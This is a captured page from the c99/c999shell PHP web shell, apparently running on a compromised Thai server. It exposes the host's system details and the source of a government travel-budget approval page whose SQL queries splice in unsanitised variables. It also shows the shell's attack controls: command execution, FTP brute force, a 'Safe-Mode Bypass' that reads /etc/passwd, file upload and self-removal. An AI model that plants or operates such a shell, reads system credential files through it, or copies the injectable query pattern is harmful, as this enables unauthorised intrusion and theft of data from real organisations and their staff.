!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Money_depart/   drwxr-xr-x
Free 52.6 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Menu_plan.php (14.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

	session_start();
	
	/**  Define Validate Access  */
	define( '_VALID_ACCESS', 1 );

	/**  Check Session User Login  */
	if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
		echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
		echo "<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
		echo "<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
		exit();
	} 
	else {
		/**  Configuration  */
		require_once( "../configuration.php" );
		require_once( $_Config_absolute_path . "/includes/framework.php" );
	
		/**  Create Database Object  */
		$dbObj = new DBConn;
		
		/**  Config Table for This Page  */
		$myTable = "personal_tb";
		$myTable1 = "formaoffice"; 
		$myTable2 = "budget_year_tb";
		$myTable3 = "project_type_tb";
		$myTable4 ="formproject" ;
		$myTablePK = "codeId";
		
		$Username = $valid_user;

		$query = " SELECT *  FROM $myTable1  WHERE  Year_std='$Year_std' ";
		$result = $dbObj->execQuery($query);
		$rs = $dbObj->fetchObject($result);
		
	} # else
 ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<title>ข้อมูลทั่วไปบุคลากร</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
	include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
      <table width="780" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td height="5" colspan="2"></td>
      </tr>
      <tr>
        <td width="570" height="30" background="../images/background/bg-head-topic.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a> &raquo;<span class="NOTE"> ข้อมูลแผนปฏิบัติการแสดงรายปีงบประมาณ <?=$Year_std; ?></span></strong></td>
        <td width="210">&nbsp;</td>
      </tr>
      <tr>
        <td colspan="2">&nbsp;</td>
      </tr>
      <tr>
        <td colspan="2" align="left"><span class="PADDING-TOP-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></span></td>
      </tr>
      <tr>
        <td colspan="2">&nbsp;</td>
      </tr>
      <tr>
        <td height="385" colspan="2" align="center" valign="top"><table width="99%" border="0" cellspacing="3" cellpadding="1">
                <tr>
                <?php
		  		$sql = " SELECT *  FROM  $myTable1 WHERE  Year_std='$rs->Year_std'   ";
				$result7 = $dbObj->execQuery($sql);
				$numrows = $dbObj->_numrows;
		  ?>
                  <td height="18" align="center"><img src="../images/icons/add_section.png" width="16" height="16" align="absmiddle" /></td>
                  <td><a href="SearchApprovalList.php?Year_std=<?=$rs->Year_std;?>">ลงทะเบียน ข้อมูลการขออนุมัติการเดินทางไปราชการตามแผน/โครุงการ</a></td>
                  <td align="center" style="padding-right:25px;"><?php 
				if ( $numrows == 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#FF0000\">";
					echo"ยังไม่ข้อมูล";
					echo"</font>";
				}
				else if ( $numrows  > 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#006633\">จำนวน</a>&nbsp;";
					echo"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"1\" color=\"#000000\">รายการ</font>";
					echo"</font>";
				} 
				$dbObj->freeresult($result7);
			?></td>
                </tr>
                <tr><?php
		  		$sql = " SELECT *  FROM $myTable1  WHERE  Year_std='$rs->Year_std'  and  Flag3='Y'  ";
				$result6 = $dbObj->execQuery($sql);
				$numrows = $dbObj->_numrows;
		  ?>
                  <td height="18" align="center"><img src="../images/icons/applications--pencil.png" width="16" height="16" align="absmiddle" /></td>
                  <td><a href="ApprovalProjectFlag.php?Year_std=<?=$rs->Year_std;?>&Flag3=Y">ข้อมูลการขออนุมัติการเดินทางไปราชการตามแผน/โครุงการที่มีการลงทะเบียนรับแล้ว</a></td>
                  <td align="center" style="padding-right:25px;"><?php 
				if ( $numrows == 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#FF0000\">";
					echo"ยังไม่ข้อมูล";
					echo"</font>";
				}
				else if ( $numrows  > 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#006633\">จำนวน</a>&nbsp;";
					echo"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"1\" color=\"#000000\">รายการ</font>";
					echo"</font>";
				} 
				$dbObj->freeresult($result3);
			?></td>
                </tr>
                <tr>
            <?php
		  		$sql = " SELECT *  FROM   $myTable1  WHERE  Year_std='$rs->Year_std' ";
				$result3 = $dbObj->execQuery($sql);
				$numrows = $dbObj->_numrows;
		  ?>
            <td width="3%" height="18" align="center"><img src="../images/icons/db-pencil.png" width="16" height="16" align="absmiddle" /></td>
            <td width="77%"><a href="SearchProjectList.php?Year_std=<?=$rs->Year_std;?>">ข้อมูลการขอเดินทางไปราชการตามแผน/โครุงการทั้งหมด</a></td>
            <td width="20%" align="center" style="padding-right:25px;"><?php 
				if ( $numrows == 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#FF0000\">";
					echo"ยังไม่ข้อมูล";
					echo"</font>";
				}
				else if ( $numrows  > 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#006633\">จำนวน</a>&nbsp;";
					echo"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"1\" color=\"#000000\">รายการ</font>";
					echo"</font>";
				} 
				$dbObj->freeresult($result3);
			?></td>
          </tr>
         
          <?php
				$sql = " SELECT *  FROM  $myTable1   WHERE  Year_std='$rs->Year_std'   and  Flag2 ='อนุมัติ'  ";
				$result4 = $dbObj->execQuery($sql);
				$numrows = $dbObj->_numrows;
		  ?>
          <tr>
            <td height="18" align="center"><img src="../images/icons/database.png" width="16" height="16" align="absmiddle" /></td>
            <td><a href="ProjectApproval.php?Year_std=<?=$rs->Year_std;?>">อนุมัติให้บุคลากรเดินทางไปราชการตามแผน/โครุงการ</a></td>
            <td align="center" style="padding-right:25px;"><?php 
				if ( $numrows == 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#FF0000\">";
					echo"ยังไม่ข้อมูล";
					echo"</font>";
				}
				else if ( $numrows  > 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#006633\">จำนวน</a>&nbsp;";
					echo"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"1\" color=\"#000000\">รายการ</font>";
					echo"</font>";
				} 
				$dbObj->freeresult($result4);
			?></td>
          </tr>
          <tr>
           <?php
				$sql = " SELECT *  FROM  $myTable1   WHERE  Year_std='$rs->Year_std'   and  Flag1 ='Y'  ";
				$result5 = $dbObj->execQuery($sql);
				$numrows = $dbObj->_numrows;
		  ?>
            <td height="18" align="center"><img src="../images/icons/database.png" alt="" width="16" height="16" align="absmiddle" /></td>
            <td><a href="ApprovalProject.php?Year_std=<?=$rs->Year_std;?>">อนุมัติดำเนินการของการเงินเพื่อเบิกจ่ายเงินการเดินทางไปราชการของบุคลากรตามแผน/โครุงการ</a></td>
            <td align="center" style="padding-right:25px;"><?php 
				if ( $numrows == 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#FF0000\">";
					echo"ยังไม่ข้อมูล";
					echo"</font>";
				}
				else if ( $numrows  > 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#006633\">จำนวน</a>&nbsp;";
					echo"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"1\" color=\"#000000\">รายการ</font>";
					echo"</font>";
				} 
				$dbObj->freeresult($result5);
			?></td>
          </tr>
          <tr>
           <?php
				$sql = " SELECT *  FROM   $myTable1   WHERE  Year_std='$rs->Year_std'   and  Flag2 ='อนุมัติ'  ";
				$result4 = $dbObj->execQuery($sql);
				$numrows = $dbObj->_numrows;
		  ?>
            <td height="18" align="center"><img src="../images/icons/database-arrow.png" width="16" height="16" align="absmiddle" /></td>
            <td><a href="SearchProjectFlag.php?Year_std=<?=$rs->Year_std;?>&amp;Flag2=อนุมัติ">ข้อมูลบุคลากรที่เดินทางไปราชการตามแผน/โครุงการ ที่มีการอนุมัติแล้ว</a></td>
            <td align="center" style="padding-right:25px;"><?php 
				if ( $numrows == 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#FF0000\">";
					echo"ยังไม่ข้อมูล";
					echo"</font>";
				}
				else if ( $numrows  > 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#006633\">จำนวน</a>&nbsp;";
					echo"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"1\" color=\"#000000\">รายการ</font>";
					echo"</font>";
				} 
				$dbObj->freeresult($result4);
			?></td>
          </tr>
          <tr>
           <?php
				$sql = " SELECT *  FROM  $myTable1  WHERE  Year_std='$rs->Year_std'   and  Flag1 ='Y'  ";
				$result5 = $dbObj->execQuery($sql);
				$numrows = $dbObj->_numrows;
		  ?>
            <td height="18" align="center"><img src="../images/icons/database-arrow.png" width="16" height="16" align="absmiddle" /></td>
            <td><a href="SearchProjectFlagY.php?Year_std=<?=$rs->Year_std;?>&amp;Flag1=Y">ข้อมูลการดำเนินการเบิกจ่ายเงินของบุคลากรในการเดินทางไปราชการตามแผน/โครุงการที่มีการเบิกจ่ายแล้ว</a></td>
            <td align="center" style="padding-right:25px;"><?php 
				if ( $numrows == 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#FF0000\">";
					echo"ยังไม่ข้อมูล";
					echo"</font>";
				}
				else if ( $numrows  > 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#006633\">จำนวน</a>&nbsp;";
					echo"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"1\" color=\"#000000\">รายการ</font>";
					echo"</font>";
				} 
				$dbObj->freeresult($result5);
			?></td>
          </tr>
          <tr>
            <td height="18" align="center"><img src="../images/icons/document-table.png" width="16" height="16" align="absmiddle" /></td>
            <td><a href="planingReportFaculty.php?Budget_Year=<?=$rs->Year_std;?>">รายงานการใช้เงินตามแผน/โครงการแสดงตามหน่วยงาน</a></td>
            <td align="center" style="padding-right:25px;">&nbsp;</td>
          </tr>
          <tr>
            <?php
		  		$sql14 = " SELECT *  FROM  $myTable1   WHERE  Year_std='$rs->Year_std'  Group  By  Teacher_code  ";
				$result14 = $dbObj->execQuery($sql14);
				$numrows = $dbObj->_numrows;
		  ?>
            <td height="20" align="center"><img src="../images/icons/document-table.png" width="16" height="16" align="absmiddle" /></td>
            <td><a href="SucesFormAList.php?Year_std=<?=$Year_std ;?>">รายงานการใช้เงินในการเดินทางไปราชการตามแผน/โครงการ</a></td>
            <td align="center" style="padding-right:25px;"><?php 
				if ( $numrows == 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#FF0000\">";
					echo"ยังไม่ข้อมูล";
					echo"</font>";
				}
				else if ( $numrows  > 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#006633\">จำนวน</a>&nbsp;";
					echo"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"1\" color=\"#000000\">รายการ</a>";
					echo"</a>";
				} 
				$dbObj->freeresult($result14);
			?></td>
          </tr>
          <tr>
            <?php
		  		$sql12 = " SELECT *  FROM   $myTable1   WHERE Year_std='$rs->Year_std'  GROUP   By   maNo";
				$result13 = $dbObj->execQuery($sql12);
				$numrows = $dbObj->_numrows; 
		  ?>
            <td height="20" align="center"><img src="../images/icons/document-table.png" width="16" height="16" align="absmiddle" /></td>
            <td><a href="SearchFormPerson.php?Year_std=<?=$Year_std ;?>">ข้อมูลการขออนุมัติไปราชการ (ขอรวมหลายคน)</a></td>
            <td align="center" style="padding-right:25px;"><?php 
				if ( $numrows == 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#FF0000\">";
					echo"ยังไม่ข้อมูล";
					echo"</font>";
				}
				else if ( $numrows  > 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#006633\">จำนวน</a>&nbsp;";
					echo"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"1\" color=\"#000000\">รายการ</a>";
					echo"</a>";
				} 
				$dbObj->freeresult($result13);
			?>
              </a></td>
          </tr>
          <tr>
            <?php
		  		$sql12 = " SELECT *  FROM  $myTable4  WHERE  Year_std='$rs->Year_std' ";
				$result12 = $dbObj->execQuery($sql12);
				$numrows = $dbObj->_numrows;
		  ?>
            <td height="18" align="center"><img src="../images/icons/document-table.png" width="16" height="16" align="absmiddle" /></td>
            <td><a href="SearchProjectList.php?Year_std=<?=$rs->Year_std;?>">ข้อมูลการขออนุมัติใช้เงินตามแผน/โครุงการ</a></td>
            <td align="center" style="padding-right:25px;"><?php 
				if ( $numrows == 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#FF0000\">";
					echo"ยังไม่ข้อมูล";
					echo"</font>";
				}
				else if ( $numrows  > 0 ) {
					echo"<font face=\"Tahoma\" Size=\"1\" color=\"#006633\">จำนวน</a>&nbsp;";
					echo"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"1\" color=\"#000000\">รายการ</font>";
					echo"</font>";
				} 
				$dbObj->freeresult($result12);
			?></td>
          </tr>
          <tr>
            <td height="18" align="center"><img src="../images/icons/document-table.png" width="16" height="16" align="absmiddle" /></td>
            <td><a href="PlaningFaculty.php?Budget_Year=<?=$rs->Year_std;?>">ข้อมูลแผน/โครงการแสดงตามหน่วยงาน</a></td>
            <td align="right" style="padding-right:25px;">&nbsp;</td>
          </tr>
          <?php
		  		$sql13 = " SELECT *  FROM formation_tb  WHERE Teacher_code='$rs->Teacher_code' ";
				$result13 = $dbObj->execQuery($sql13);
				$numrows = $dbObj->_numrows;
		  ?>
          <?php
          	$sql14 = " SELECT *  FROM formation_tb  WHERE Teacher_code='$rs->Teacher_code' ";
			$result14 = $dbObj->execQuery($sql14);
			$numrows = $dbObj->_numrows;
          ?>
          </table>
          <table width="100%" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td>&nbsp;</td>
            </tr>
          </table></td>
      </tr>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
	/**  Free Resource */
	$dbObj->freeresult($result);
	
	/**  Close the Database  */
	$dbObj->disconn();
	
	/**  Unset Class  */
	unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0064 ]--